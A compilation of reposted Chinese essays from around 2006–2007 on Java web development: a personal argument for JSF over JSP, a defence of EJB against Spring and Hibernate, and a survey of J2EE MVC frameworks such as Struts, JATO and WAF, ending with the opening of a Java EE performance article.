  2004年3月,当我着手开发我的第一个Web程序时,我选择了JSP。作为一个传统的桌面程序员,而且是老程序员,向Web程序员的转变是异常痛苦的。3个月的时间,程序总算完成了,但从此对JSP恨之入骨。凌乱的书写格式,数据和界面的混杂,尤其是嵌入到页面里的Scriptlet,让我搞不清自己是编程序的还是写网页的。 

  因此,当接到第二版的开发任务时,我毫不犹豫地放弃了JSP,寻找一种替代技术。上网一搜,却发现框架多如牛毛,评论文章各执一词,莫衷一是,让我彻底迷失了。犹豫摇摆不定之际,sun的J2EE Tutorial文档中关于JavaServer Faces技术的介绍吸引了我:UI、component、event、listener这些在桌面程序中熟悉的字眼,让我在Web开发中找到了桌面程序员的一些感觉。

  象开发桌面程序那样开发web程序,这是我选择JSF的初衷。基于这样肤浅的认识,跌跌撞撞上路了,在工期和新技术的双重压力之下,超负荷的工作令人透不过气来,但每每从JSF中发掘出令人惊喜的新特性,又给我带来极大的满足感。第二版终于完成时,日历恰好翻过一个整月。JSF带来的效率提升是显著的。

  事实上,到现在为止,我对于JSF还只能说是初步了解,远未达到掌握,更谈不上精通,但这并不妨碍我视JSF为Web开发的首选框架。尤其是对于新手,如果还没有在Struts、Tiles、Spring、Tapestry等框架中走得太远,那么,集中你有限的精力踏上JSF之路吧。 

  2. JSF优势之一:UI组件(UI-component)

  UI组件(UI-component)一直是桌面程序的专利,web程序中,虽然HTML定义了基本的UI标签,但要使这些UI标签像UI组件那样工作,还需要很多代码片断来处理数据及其表现形式,而且有效地组织这些代码片断使其协调一致也是一件繁琐的工作。JSF的UI组件是真正意义上的UI组件,能极大地简化程序员的工作,例如,在页面上放置一个文本输入框,这个输入框立即具备了数据填充、界面更新、事件侦听、动作触发、有效性检查和类型转换的功能。更为重要的是,程序员只需根据业务逻辑编写核心业务代码,JSF会保证代码在合适的时候被执行,完全不用考虑代码与代码之间该如何来配合。 

  3. JSF优势之二:事件驱动模式

  事件是面向对象方法的重要组成部分,对象之间通过事件进行沟通和交流,使得一个或多个对象能够对另一个对象的行为作出响应,共同合作去完成一项业务逻辑。通常,编写Web程序时,程序员要为对象之间的沟通设计机制,编写代码。虽然沟通的内容属于业务逻辑,但沟通的机制显然与业务没有太大关系,程序员因此为业务逻辑之外的功能浪费了时间。JSF改变了这种状况。JSF的事件和侦听模式与大家熟悉的Javabean的事件模式类似,有Java基础的程序员并不需要学习任何新的东西。JSF的UI组件可以产生事件,例如,当页面上一个文本输入框的内容被修改时,会发出一个“值改变事件”。另一个对象如果对“值改变事件”感兴趣,只需注册为该对象的侦听者,并编写处理例程,即可命令JSF在事件发生时自动调用处理例程。JSF做了所有该做的事,留给程序员的只有业务逻辑代码的编写。 

  4. JSF优势之三:用户界面到业务逻辑的直接映射

  举个例子,表单提交是Web编程最常见的任务,也是最复杂的任务之一。当用户在网页上点击“确定”按钮时,浏览器将生成一个HTTP请求,发往服务器端的某个Servlet,执行该Servlet的service方法。在service方法中,HTTP请求需要经历解码、类型转换、有效性验证、状态保存、数据更新等环节,处理这些环节的所有细节,对程序员来说是沉重的负担。在JSF下,这些工作的很大一部分都由框架承担了,在程序员看来,这个过程是透明的,用户界面端的HTTP请求可以直接映射到后端的一个事件处理例程,JSF起到了承前启后的作用。 

  5. JSF优势之四:程序员和网页设计人员的分工

  在JSP中,程序员和网页设计人员的工作有时候是互相交织、无法区分的。这是因为JSP页面中掺入了网页设计人员所不熟悉的一些JSP标签,甚至是晦涩的Java代码。要求网页设计人员理解这些标签和代码是不现实的,不符合分工合作的原则。在JSF中,框架为网页设计人员提供了一套标准的UI组件,在工具的支持下,可以通过拖放简单地添加到网页上,然后设置某些显示属性来满足视觉要求。网页设计人员不需要知道UI组件背后的复杂代码,那是程序员的事,而程序员也不需要再处理任何与视觉相关的细节,程序员所做的只是给UI组件绑定类的属性或方法。虽然程序员和网页设计人员需要修改同一份文件,但他们各司其职,各得其所,互不干扰。程序员和网页设计人员工作的明确划分,是JSF在易用性方面迈出的一大步。

  6. JSF优势之五:请求处理生命周期的多阶段划分

  虽然都是建立在Servlet基础之上,但JSF的生命周期要比JSP复杂得多。JSP的生命周期非常简单,页面被执行时,HTML标记立即被生成了,生命周期随即结束。而一个完整的JSF请求-处理生命周期被精心规划为6个阶段,典型的JSF请求需要经历所有阶段,某些特殊的请求也可以跳过一些阶段。阶段的细分,显然引入了更多的处理,但JSF框架会管理这一切,所以,程序员在获得更多控制能力的同时,工作量并没有增加。 

   7. JSF优势之六:伴随工具而生存

  JSF带来了Web编程的巨大变革,变革的强烈程度超出了很多工具厂商的预料,以至于现在可供JSF使用的工具非常缺乏。缺乏工具支持的JSF只会令人敬而远之,因此,JSF在设计之初就为工具厂商预留了用武之地。在为数不多的JSF工具中,sun的Java Studio Creator是一个优秀的开发环境;Borland的Jbuilder在JSF1.1时曾经是非常好用的开发工具,可惜现在对JSF1.2的支持没有跟上;Eclipse下JSF的插件很多,但真正支持所见即所得的JSF插件都是收费的,例如Bea的Workshop for JSF、Exadel的JSF Studio等等;此外,Oracle和IBM也有JSF的开发工具。随着工具的不断涌现,用JSF开发Web程序将会越来越方便和快速。 

   8. JSF优势之七:全面的用户自定义支持

  前面提到,JSF将极大地简化Web程序的开发,作为一个相对复杂的框架,JSF是如何做到这点的呢?原来JSF为程序员提供了很多默认的组件和类,通常情况下,JSF的这些默认组件和类足以满足Web开发的需要了。但是,考虑到在某些应用场合,框架的默认行为也许不符合业务的要求,JSF特别允许程序员编写自己的组件和类,来满足客户的特殊需求。例如,程序员可以编写自己的UI组件,甚至可以创建自己的EL解释器,来支持非标准的EL表达语言。 

  9. JSF优势之八:Web开发的官方标准之一

  JSF的1.0版本发布于2004年2月份,当时是作为一项独立的Web技术推出的。经过1.1版到现在最新的1.2版,短短的两年多时间,JSF终于在2006年年中成为Java EE 5的组成部分,上升为Web开发的官方标准之一。Java EE 5最重要的使命就是简化Java的开发,而JSF无疑为这一使命立下了汗马功劳。在Web框架层出不穷甚至有些泛滥成灾的今天,Sun以JSF来树立标准,对Java的发展是有益的。Sun在Java领域的领袖地位不容动摇,对于Java程序员来说,始终追随业界领袖的步伐,也许是避免技术落伍的最好方法。

  10. 结束语:该你了,JSF!

  考察某项技术的流行程度,google的关键字搜索不失为一种简便易行的方法。为了便于说明,我们选择目前最热门的Struts与JSF进行比较。在google中分别输入关键字“Struts”和“JSF”,看看google返回的网页数量。令我们感兴趣的不是网页的绝对数量,而是JSF网页数量与Struts网页数量的比值。我们看到,对于英文网页,这个比值是0.6,日文网页是1.0,繁体中文网页是0.8,而简体中文网页只有0.4。表1列出了具体的数据和比值。

  英文网页数量(万) 日文网页数量(万) 繁体网页数量(万) 简体网页数量(万)

  JSF Struts JSF Struts JSF Struts JSF Struts

  719 1170 145 140 10 13 59 138

  JSF / Struts = 0.6JSF / Struts = 1.0JSF / Struts = 0.8JSF / Struts = 0.4

  虽然这样的比较方法不够严谨,但0.4的比例从一个侧面说明JSF在国内还没有流行起来,用“方兴未艾”四个字来描述JSF的这种状况,是再合适不过了。由于历史的原因,国内的软件技术一直亦步亦趋地跟着国外跑,这不是我们希望的,但我们不得不承认,因此,从国外的情况来推论,我们有理由相信,JSF必将成为国内程序员追捧的对象。正如某位哲人说的那样,JSF是早晨八、九点钟的太阳,希望寄托在JSF身上。 

  11. 后记:不同的声音

  客观地说,JSF并非完美,业界对JSF的评价也褒贬不一。例如,由于JSF过于复杂,其学习曲线明显长于其他框架如Struts等,这在一定程度上妨碍了JSF的推广;此外,JSF的推出略显仓促,1.0版在使用中发现很多bug,以至于sun匆忙发布的1.1版主要是为了修正这些bug;还有,在JSF1.2版之前,JSP和JSF的融合有严重的缺陷,这主要是由于二者不同的生命周期造成的,不过,1.2版在这方面作出了改进,现在,JSP和JSF可以在一个项目中相安无事了。 

  JSF的不足之处还有很多,比如UI组件不够丰富、具体实现的可选择余地过窄、使用JSF开发的实际项目不多、sun的参考实现还存在诸多bug、短期内缺乏工具支持等等,尤其是在国内,JSF的中文文档和书籍相当缺乏。但是,不管怎样,这些都是JSF成长道路上必须经历的磨难,我相信,Sun会努力的。




EJB的理想
yongbing 转贴   更新:2007-01-03 16:50:45  版本: 1.0   

摘要:
EJB是一种企业应用技术,旨在建立一个企业应用开发框架,但从其诞生之日起,质疑之声一直不断。EJB是企业应用框架的先驱,在企业应用框架的方法论上有独到的见解,虽然存在不少缺陷,但仍不失为企业应用框架的理想。

1. 备受争议的EJB

  EJB也许是Java领域里中最受争议的技术了。有人说EJB是最伟大的发明,也有人说EJB完全是多此一举;当一些人陶醉于EJB的深奥理论时,另外一些人却正被EJB的繁琐复杂所折磨;尝到EJB甜头的人,在EJB的每个新版本中,都能发现盼望已久的惊喜,而被EJB拒之门外的人,则随着EJB的升级,愈发对EJB敬而远之了。

  EJB的全称是Enterprise JavaBeans,JavaBeans很普通,不过Enterprise就不那么简单了。什么技术,一旦被冠以Enterprise的名头,就像男人走入婚姻殿堂一样,身上的责任与单身汉不可同日而语了。从定义上看,JavaBeans只是J2SE平台上的一个组件架构,包含一些业务逻辑,并且可以被重用。

  EJB不同,作为企业级的JavaBeans,Sun对EJB的定位要远远高于JavaBeans,所以EJB的目标也比JavaBeans要远大得多,除了作为一个包含业务逻辑的可重用组件外,EJB更被赋予了诸如“可移植”、“安全”、“可伸缩”、“交易性”等特征。

  所有这些EJB必须具备的特征,其实正是企业应用所要求的。这也是Enterprise一词所代表的技术上的含义。企业应用不同于普通应用,企业应用是大规模的、高复杂度的和关键的,它所面临的挑战,要比普通应用艰巨得多。比如,企业应用对可移植性的要求非常高,这是因为,企业都不愿意将自己的未来绑定到某个供应商的身上,除非是不得已而为之;又比如,安全性对企业应用至关重要,谁能使用什么功能、哪些数据哪些人可以看到,都有严格的限制;更不用说的是企业应用的可伸缩性了,当业务规模变大时,你希望全盘推翻旧系统,采购一批崭新的软件和硬件,对IT系统来个彻底的革命吗?增加一台服务器就能应付更多的客户,我想这是头脑正常的企业家都希望的。

  企业应用的需求,就是EJB的目标。用EJB开发的应用,完全符合企业应用的特征。EJB是一个规范,只要符合这个规范,EJB可以在不同的操作系统、不同的应用服务器中无缝地移植;EJB允许开发者在EJB部署描述文件中进行方法级的、基于角色的安全性配置,以统一的方式保护企业应用和数据的安全性;只要你愿意,EJB应用可以全部部署在一台单独的服务器上,也可以任何组合方式分布在一组服务器群中,满足你扩大规模和均衡负载的要求;如果你想保持事务的完整性,那么,EJB的事务管理是一个可靠的、稳健的解决方案。

  这就是EJB,一个企业应用的集大成者,多种技术的浓缩精华,全能的框架和基础结构。可就是这样一个将企业应用的开发简化到了前所未有之程度的技术,却成为许多人口诛笔伐的对象。复杂、难以使用、性能低下、繁琐等等,从1998年EJB诞生之日起,各种各样的恶名就伴随左右,直到八年后的今天,当EJB迎来它的第三次大变脸时,质疑之声依然不绝于耳。EJB真的那么糟糕吗?

  2. EJB是企业应用的先驱

  笔者接触第一个企业应用,是在1997年。那时PowerBuilder风头正劲,不过,多数人使用PowerBuilder,是因为它的数据窗口。当时笔者在一个项目中遇到一个难题,那就是如何把一台服务器上的应用一分为二,跑在两台服务器上,以提高性能。这是典型的分布式应用,虽然不是一个完整意义上的企业应用,不过,因为应用中需要用到分布式的概念,多少也算和企业应用沾上边了。

  PowerBuilder其实是个非常不错的开发工具,在1997年的时候,已经提出了分布式应用的概念,并且付诸实施了。在PowerBuilder中,一个组件可以有一个称为代理的对象,这个对象可以运行在与组件不同的机器上,其他组件通过代理可以访问该组件的功能。

  这是一个很初级的分布式应用框架,不过,那时已经给了笔者很大的震动。我试着编了一个实验性质的程序,当我在一台机器上按下一个按钮时,另外一台机器上赫然弹出一个预期中的对话框,着实让我大吃一惊。没有任何Socket编程,也不需要关心实际的应用跑在哪台机器上,PowerBuilder让我首次见识了分布式应用框架的巨大威力。

  PowerBuilder解决了分布的问题,但安全性和事务控制,仍然需要程序员自己想办法。十个程序员可以有十种解决方案,每种都不同,而每种都可能含有未经发现的缺陷。在EJB之前,企业应用的开发没有规范可循,每个公司都有自己的一套方案,尽管每个公司都对自己的方案充满信心,但其实这些未经大量应用考验的方案,都有着这样那样的不足或局限。

  J2EE是第一个为业界所广为接受的完整的企业应用框架,而EJB在其中扮演重要角色。在J2EE框架的支持下,运行在EJB容器中的EJB,完全符合企业应用关于分布、移植、安全和交易的要求。这对于企业应用的开发者来说,意义非同寻常。首先,现在大家可以在一个公共的平台技术上构建自己的企业应用,不必绞尽脑汁“发明”自己的“轮子”,从而节省大量无谓的、重复性的技术和时间投入;其次,一个公开的平台,让大量的企业应用开发者有了共同语言,可以相互交流平台的使用经验和教训,这样,随着平台之上企业应用的不断增加,平台的优劣得失一览无遗,有利于平台的改进和发展。

  这就是EJB为企业应用作出的贡献。在EJB之前,多数人不知企业应用为何物,或者虽然有企业应用的模糊概念,但要编写一个企业应用,谈何容易。不同的操作系统、不同的开发语言、不同的网络环境、不同的应用终端,开发一个企业应用,程序员面临着两难的抉择:要么限定应用的软硬件平台,或者牺牲应用的安全性、分布性或交易性,开发一个“伪”企业应用;要么下决心开发一个真正的企业应用,然后累死自己。

  3. EJB是一种思想

  EJB让程序员编写真正意义上的企业应用而不必累死,应该说,EJB已经是企业应用开发领域的一大进步,让企业应用和普通应用的开发差距缩短到了前所未有的程度,可是,为什么还有很多人抱怨EJB过于复杂呢?EJB的复杂性其实是个伪命题。所谓复杂,一定是相对的。如果和普通应用相比,EJB当然要复杂很多,因为人们对于普通应用没有企业应用那么苛刻的要求。但是,如果将EJB之前和EJB之后的企业应用开发的难度相比,相信人们就会对EJB赞誉有加了。举个不准确的例子,假如EJB之前,企业应用的难度是普通应用的10倍,那么,EJB之后,这个比例缩小到了5倍,批评EJB复杂者,只看到了还剩下的5倍复杂度,却没有看到EJB所减去的5倍复杂度。

  关于EJB过于复杂的论断,还来自于与其竞争技术的比较。例如,Spring就是一个声称比EJB更简单的、轻量级的企业应用框架。Spring确实简单,很多人喜欢Spring,也正是因为Spring简单。可是,Spring的支持者们,忽略了一个基本的事实,那就是Spring的功能要比EJB弱,也就是说,Spring是通过放弃某些不常用的功能来达到简化目的的。Spring好比一辆没有安全气囊的车,尽管依然可以拉客跑运输,但一旦发生碰撞事故,也许司机会陪上性命。没有安全气囊的Spring,在制造上当然要比有安全气囊的EJB简单,而且轻便,跑得快,不过,Spring始终不适合投入正式营运。这就是为什么不推荐在大型企业应用上采用Spring的原因。没有完善的事务处理,不能提供7X24小时的服务,Spring迈不过关键企业应用的门槛。

  与Spring形影不离的是Java对象持久化的“红人”Hibernate。Hibernate的矛头直指EJB的Entity Bean。Entity Bean,尤其是它的持久化技术,是最为程序员所诟病的,成为EJB挥之不去的阴影,并最终促成了Hibernate的辉煌。Hibernate其实并不精深,在技术上也没有太多值得称道的创新,但它的文档非常优秀。我知道很多程序员就是被Hibernate的文档所吸引的,他们只学过一些SQL初步,没有系统的关系数据库理论知识,Hibernate关于数据库表间关系的论述,深入浅出,十分精彩,让他们在对关系数据库的理解上有了迅猛突破的同时,Hibernate轻易的俘虏了他们的心。

  Hibernate的成功,反衬了EJB在持久化方面的失败,但在我看来,这并不影响EJB的伟大。与其说EJB是一种技术,不如说EJB的是一种思想更恰当,而不论Hibernate还是Spring,只不过是一种工具,他们只是跟在EJB后面,发现了EJB的某些不足,然后有针对性地加以改进,以迎合普通程序员对于“技术快餐”的需求。

  他们既没有从形形色色的企业应用中,抽象出隐藏在不同表现后面的本质特征,也没有创造性地用Stateless Session Bean和Stateful Session Bean来描述千变万化的现实世界。工具只是工具,不出两年就会有新的后起之秀,取而代之,但思想的光辉将长久地照亮技术的未来。EJB是一种思想,更是一种理想,尽管理想和现实总是存在差距,但这不能成为我们放弃EJB的理由。一种满足企业应用分布性、扩展性、安全性和交易性要求的、方便使用的框架技术,既是EJB的理想,也是广大程序员的理想。
当前流行的J2EE WEB应用架构分析
xuyy_cn 原创   更新:2006-09-14 13:04:12  版本: 1.0   

1. 架构概述 


J2EE体系包括java server pages(JSP) ,java SERVLET, enterprise bean,WEB service等技术。这些技术的出现给电子商务时代的WEB应用程序的开发提供了一个非常有竞争力的选择。怎样把这些技术组合起来形成一个适应项目需要的稳定架构是项目开发过程中一个非常重要的步骤。完成这个步骤可以形成一个主要里程碑基线。形成这个基线有很多好处: 


各种因数初步确定 

为了形成架构基线,架构设计师要对平台(体系)中的技术进行筛选,各种利弊的权衡。往往架构设计师在这个过程中要阅读大量的技术资料,听取项目组成员的建议,考虑领域专家的需求,考虑赞助商成本(包括开发成本和运行维护成本)限额。一旦架构设计经过评审,这些因数初步地就有了在整个项目过程中的对项目起多大作用的定位。 

定向技术培训 

一旦架构师设计的架构得到了批准形成了基线,项目开发和运行所采用的技术基本确定下来了。众多的项目经理都会对预备项目组成员的技术功底感到担心;他们需要培训部门提供培训,但就架构师面对的技术海洋,项目经理根本就提不出明确的技术培训需求。怎不能够对体系中所有技术都进行培训吧!有了架构里程碑基线,项目经理能确定这个项目开发会采用什么技术,这是提出培训需求应该是最精确的。不过在实际项目开发中,技术培训可以在基线确定之前与架构设计并发进行。 

角色分工 

有了一个好的架构蓝图,我们就能准确划分工作。如网页设计,JSP 标签处理类设计,SERVLET 设计,session bean设计,还有各种实现。这些任务在架构蓝图上都可以清晰地标出位置,使得项目组成员能很好地定位自己的任务。一个好的架构蓝图同时也能规范化任务,能很好地把任务划分为几类,在同一类中的任务的工作量和性质相同或相似。这样工作量估计起来有一个非常好的基础。 

运行维护 

前面说过各个任务在架构图上都有比较好的定位。任何人能借助它很快地熟悉整个项目的运行情况,错误出现时能比较快速地定位错误点。另外,有了清晰的架构图,项目版本管理也有很好的版本树躯干。 

扩展性 

架构犹如一颗参天大树的躯干,只要躯干根系牢,树干粗,长一些旁支,加一些树叶轻而易举无疑。同样,有一个稳定的经得起考验的架构,增加一两个业务组件是非常快速和容易的。 

大家都知道这些好处,一心想形成一个这样的J2EE应用程序架构(就像在windows平台中的MFC)。在这个路程中经历了两个大的阶段: 


1.1. 模型1 


模型1其实不是一个什么稳定架构,甚至谈不上形成了架构。模型1的基础是JSP文件。它从HTTP的请求中提取参数,调用相应的业务逻辑,处理HTTP会话,最后生成HTTP文档。一系列这样的JSP文件形成一个完整的模型1应用,当然可能会有其他辅助类或文件。早期的ASP 和 PHP 技术就属于这个情况。 


总的看来,这个模型的好处是简单,但是它把业务逻辑和表现混在一块,对大应用来说,这个缺点是令人容忍不了的。 


1.2. 模型2 


在经过一番实践,并广泛借鉴和总结经验教训之后,J2EE应用程序终于迎来了MVC(模型-视图-控制)模式。MVC模式并不是J2EE行业人士标新立异的,所以前面我谈到广发借鉴。MVC的核心就是做到三层甚至多层的松散耦合。这对基于组件的,所覆盖的技术不断膨胀的J2EE体系来说真是福音和救星。 


它在浏览器(本文对客户代理都称浏览器)和JSP或SERVLET之间插入一个控制组件。这个控制组件集中了处理浏览器发过来的HTTP请求的分发逻辑,也就是说,它会根据HTTP请求的URL,输入参数,和目前应用的内部状态,把请求分发给相应的WEB 层的JSP 或SERVLET。另外它也负责选择下一个视图(在J2EE中,JSP,SERVLET会生成回给浏览器的html从而形成视图)。集中的控制组件也有利于安全验证,日志纪录,有时也封装请求数据给下面的WEB tier层。这一套逻辑的实现形成了一个像MFC的应用框架,位置如图: 


1.3. 多层应用 


下图为J2EE体系中典型的多层应用模型。 


Client tier客户层 

一般为浏览器或其他应用。客户层普遍地支持HTTP协议,也称客户代理。 

WEB tier WEB应用层 

在J2EE中,这一层由WEB 容器运行,它包括JSP, SERVLET等WEB部件。 

EJB tier 企业组件层 

企业组件层由EJB容器运行,支持EJB, JMS, JTA 等服务和技术。 

EIS tier 企业信息系统层 

企业信息系统包含企业内传统信息系统如财务,CRM等,特点是有数据库系统的支持。 


应用框架目前主要集中在WEB层,旨在规范这一层软件的开发。其实企业组件层也可以实现这个模型,但目前主要以设计模式的形式存在。而且有些框架可以扩充,有了企业组件层组件的参与,框架会显得更紧凑,更自然,效率会更高。 


2. 候选方案 


目前,实现模型2的框架也在不断的涌现,下面列出比较有名的框架。 


2.1. Apache Struts 


Struts是一个免费的开源的WEB层的应用框架,apache软件基金致力于struts的开发。Struts具是高可配置的性,和有一个不断增长的特性列表。一个前端控制组件,一系列动作类,动作映射,处理XML的实用工具类,服务器端java bean 的自动填充,支持验证的WEB 表单,国际化支持,生成HTML,实现表现逻辑和模版组成了struts的灵魂。 


2.1.1. Struts和MVC 


模型2的目的和MVC的目的是一样的,所以模型2基本可以和MVC等同起来。下图体现了Struts的运作机理: 


2.1.1.1. 控制 


如图所示,它的主要部件是一个通用的控制组件。这个控制组件提供了处理所有发送到Struts 的HTTP请求的入口点。它截取和分发这些请求到相应的动作类(这些动作类都是Action类的子类)。另外控制组件也负责用相应的请求参数填充 From bean,并传给动作类。动作类实现核心商业逻辑,它可以通过访问java bean 或调用EJB。最后动作类把控制权传给后续的JSP 文件,后者生成视图。所有这些控制逻辑利用一个叫struts-config.xml文件来配置。 


2.1.1.2. 模型 


模型以一个或几个java bean的形式存在。这些bean分为三种: 


Form beans(表单Beans) 

它保存了HTTP post请求传来的数据,在Struts里,所有的Form beans都是 ActionFrom 类的子类。 

业务逻辑beans 

专门用来处理业务逻辑。 

系统状态beans 

它保存了跨越多个HTTP 请求的单个客户的会话信息,还有系统状态。 

2.1.1.3. 视图 


控制组件续传HTTP请求给实现了视图的JSP文件。JSP能访问beans 并生成结果文档反馈到客户。Struts提供JSP 标签库: Html,Bean,Logic,Template等来达到这个目的,并有利于分开表现逻辑和程序逻辑。 


2.1.2. Struts的细节分析 


2.1.2.1. 视图-控制-模型 


用户发出一个*.do的HTTP请求,控制组件接收到这个请求后,查找针对这个请求的动作映射,再检查是否曾创建过相应的动作对象(action实例),如果没有则调用actionmapping生成一个动作对象,控制组件会保存这个动作对象供以后使用。接着调用actionmapping的方法得到actionForm对象。之后把actionForm作为参数传给动作对象的perform方法,这个方法结束之后会返回给控制组件一个 actionforward对象。控制组件接着从这个对象中获取下一个视图的路径和重定向属性。如果为重定向则调用HTTPSERVLETREPONSE的方法来显示下一个视图,否则相继调用requestdispatcher, SERVLETcontext的方法续传HTTP请求到下一个视图。 


当动作对象运行perform方法时,可能出现错误信息。动作对象可以保存这些错误信息到一个error对象中,接着调用自身的saveerrors方法把这个错误保存到request对象的属性中。接着动作对象调用actionmapping对象的getInput方法从动作映射中获取input参数,也就是产生输入的视图,并以这个input为参数生成一个actionforward对象返回。这个input参数的JSP中一般有HTTP:errors定制标签读取这些错误信息并显示在页面上。 


2.1.2.2. 模型到视图 


模型到视图指视图在显示之前装载系统数据到视图的过程。系统数据一般为模型内java bean的信息。示意图表现了由控制组件forward过来的有html:form定制标签的JSP 的处理逻辑。 


html:form定制标签处理对象从application scope(通过查询SERVLETCONTEXT对象的属性来实现)获取先前由控制组件actionSERVLET放在那里的动作映射等对象,由html:form 的action属性查得actionform名字、类型和范围等信息,在相应的范围内查找actionform,如果有则利用它的信息填充html form表单[实际填充动作在嵌套的html:text等定制标签的处理对象中]。否则在相应范围内创建一个actionform 对象。 


2.1.3. 优缺点 


优点: 


一些开发商开始采用并推广这个框架 

作为开源项目,有很多先进的实现思想 

对大型的应用支持的较好 

有集中的网页导航定义 

缺点: 


不是业届标准 

对开发工具的支持不够 

复杂的taglib,需要比较长的时间来掌握 

html form 和 actionform的搭配比较封闭,但这也是它的精华所在。 

修改建议 

把actionform属性的设置器和访问器修改成读取或生成xml文档的方法,然后 html form和actionform之间用xml文档进行数据交换,使之松散耦合,适应数据结构易变化的应用。 


2.2. JATO 


JATO应用程序框架是iPlanet 应用程序框架的旧名。它是一个成熟的、强大的,基于J2EE标准的面向于开发WEB应用程序的应用框架。结合了显示字段、应用程序事件、组件层次和以页面为中心的开发方法、以及MVC和服务到工作者service-to-workers的设计模式等概念。JATO可适用于中、大、超大规模的WEB应用。但是它也不是一个企业层的应用框架,也就是说它不会直接提供创建EJB, WEB services等企业层组件的方法,但用它可以构造出访问企业层组件的客户应用。 


这个框架功能主要有三部分组成: 


iPlanet应用框架核心; 

iPlanet应用框架组件; 

iPlanet应用框架扩展。 

应用框架核心定义了基本接口、对象协议、简单组件,以及iPlanet应用框架程序的最小核心。包括视图简单组件、模型简单组件、请求分发组件和可重用命令对象。iPlanet应用框架组件利用框架核心定义的基本接口、协议和组件向开发者提供高层的重用组件,这些组件既有与特定视觉效果无关的水平组件,同时也有适应特定实用环境、提高可用性而特意提供的垂直型组件。框架扩展实现了用框架相容的方法访问非J2EE环境的方法。通常情况下,扩展被框架应用程序用来无缝访问J2EE容器特定功能。JATO平台栈图很清楚地表达了这个情况。 


JATO最大的威力在:对于快速开发用户,你能利用框架组件和扩展提高生产率,对于要求更大灵活性的用户,你能实现框架核心提供的接口来保持应用的框架兼容性。 

此图表示实现一个JATO应用程序,可以简单地实现控制组件module1Servlet,视图组件ListCustomersViewBean和模型组件CustomersModuleImpl,以及一个给客户代理显示界面的ListCustomers.jsp文件。并清楚地表明这些组件与JATO框架组件的继承关系。 


JATO标签库提供了VIEW对象与JSP文件的接口。库中标签处理程序负责实现VIEW对象和JSP产生地客户端文档的信息同步和交换。这个图清楚地表达了这种对应关系 


2.2.1. MVC分析 


前端控制组件接收用户发来的任何请求,这个可在WEB.xml中指定请求分发组件负责视图管理和导航,和前端控制组件封装在ApplicationSERVLETBase一起实现。应用程序开发者需要为每一个子系统(人力资源,财务,CRM等)实现一个此类的继承。 


请求分发组件分发请求给工作者,工作者实现了command接口。应用开发者可以实现这个接口。JATO提供了一个缺省实现:DefaultRequestHandingCommand,这个实现会把请求传给视图组件的特定事件。 


组合视图是指视图组件在显示给用户时的层次关系:根视图是一个ViewBean类的对象字段是一个DisplayField类的对象,容器视图是一个ContainerView类的对象。视图组件类的层次关系如下图: 


2.2.2. 优缺点分析 


优点: 


这种框架的适应范围大,即提供了底层接口,也有立即可用的组件 

具有与客户端RAD开发工具相似的开发概念如页为中心(等同于VB的FORM),事件处理等. 

对大型的应用支持较好 

缺点: 


不是业届标准 

目前还没有开发工具的支持(然JATO已经为工具支持做好了准备) 

没有定义网页导航,开发者在视图中自己指定具体的导航URL 

修改建议 

把众多的VIEW/MODEL对应修改成xml文档传递数据,加上集中的网页导航定义 


2.3. JSF(JavaServer Faces) 


JSF是一个包括SUN在内的专家组正在定义的开发WEB应用用户界面的框架,JSF 技术包括: 


一组API,它实现UI了组件,管理组件的状态,处理事件,输入校验,定义页面导航,支持国际化和访问; 

一个JSP定制标签库实现与JSP的接口。 

JSF非常简单,是一个定义良好的编程模型。利用这个技术,开发者通过在页面内组合可重用的UI组件,在把这些组件和应用的数据源相连,路由客户产生的事件到服务器端的事件处理器进行编程。JSP处理了所有幕后的复杂工作,使得开发者把关注重点放在应用代码上。 


2.3.1. STRUTS、JATO和JSF比较 


它们之间有部分重叠,但重点不一样。 


STRUTS和JATO都提供了一个MVC式的应用模型,而JSF只在用户界面上提供编程接口。这意味着前两者涉及的范围比后者广。JSF可以成为前两者在UI开发的部分。 

JSF的规范的发布版将在 2002年底发布,实现可能要比这个时间晚些。另外将会有工具支持这个框架的应用开发。 

2.4. WAF 


WAF是WEB APPLICATION FRAMWORK的简称,是SUN蓝皮书例子程序中提出的应用框架。它实现了 MVC和其他良好的设计模式。 


2.4.1. 细节分析 



2.4.2. 视图-控制-模型 


如图所示,开发人员编写的两个xml配置文件定义了WAF的运作参数。Screendefinition.xml定义了一系列的屏幕(screen)。Mapping.xml则定义了某个动作之后应该显示的屏幕,但没有指定屏幕到哪里拿数据。 


用户发出一个HTTP请求(*.screen),由TemplateSERVLET屏幕前端控制组件接收,它提取请求信息,设置request对象CurrentScreen属性,再把请求发到模版JSP。模版JSP收到请求后,JSP中的Template标签察看这个当前屏幕,并从屏幕定义文件(Screendefinition.xml)中获取这个屏幕的具体参数,再生成html返回给客户。 


假设返回给客户的html中包括了html表单,用户在输入一定数据之后提交,发出一个HTTP请求(*.do)。这个请求被MainSERVLET接收,它提取请求信息,察看动作映射文件(mapping.xml),设置处理这个请求的动作对象(HTTPAction对象),交给requestprosessor对象处理。Requestprosessor对象调用动作对象完成任务,如果需要进一步处理,requestprosessor对象会调用WEBclientcontroler对象的事件处理机制。MainSERVLET在处理完请求之后,从屏幕流管理对象那里得到下一个屏幕,并把请求传给这个屏幕的JSP文件。 


值得一提的是WEBclientcontroler事件处理机制最终把HTTP请求的数据传到了EJBAction对象那里处理。这样HTTPAction对象和EJBAction对象形成了两级处理机制,前一级与request对象紧密相关,把数据封装起来形成一个Event对象,再传给了EJBAction对象,后者与Request对象无关。这个方式可以形成一个session级别的数据处理机制。下图显示了这个方法。HTTPAction1对象处理一个请求,并把数据放到一个状态SessionBean内,HTTPAction2也如此,当HTTPAction3接收到HTTP请求之后,把控制传给EJBAction, 后者获取状态SessionBean数据,处理请求,成功后清控状态SessionBean的内容。这个机制非常适应多个输入页面才能满足一个业务的输入数据的情况(比如购物车)。 


2.4.3. 优缺点分析 


优点 


屏幕导航定义明确 

为框架的扩展提供了一个空间 

缺点 


源码比较乱,稳定性和可靠性没人验证。 

只是一个框架躯干,没有正式的model层,视图的概念不强 

没有模型到视图的定义 

修改意见 

只有一个框架躯干,正为实现自己的应用框架提供了灵活性。没有僵化的视图概念,提供了在网页输入到模型的扩充接口,比如插入XML数据交换。 
Java EE 常见性能问题解决手册
xuyy_cn 转贴   更新:2006-09-14 13:25:57  版本: 1.0   

这篇文章,是PRO JAVA EE 5 Performance Management and Optimization 的一个章节,作者Steven Haines分享了他在调优企业级JAVA应用时所遇到的常见问题。

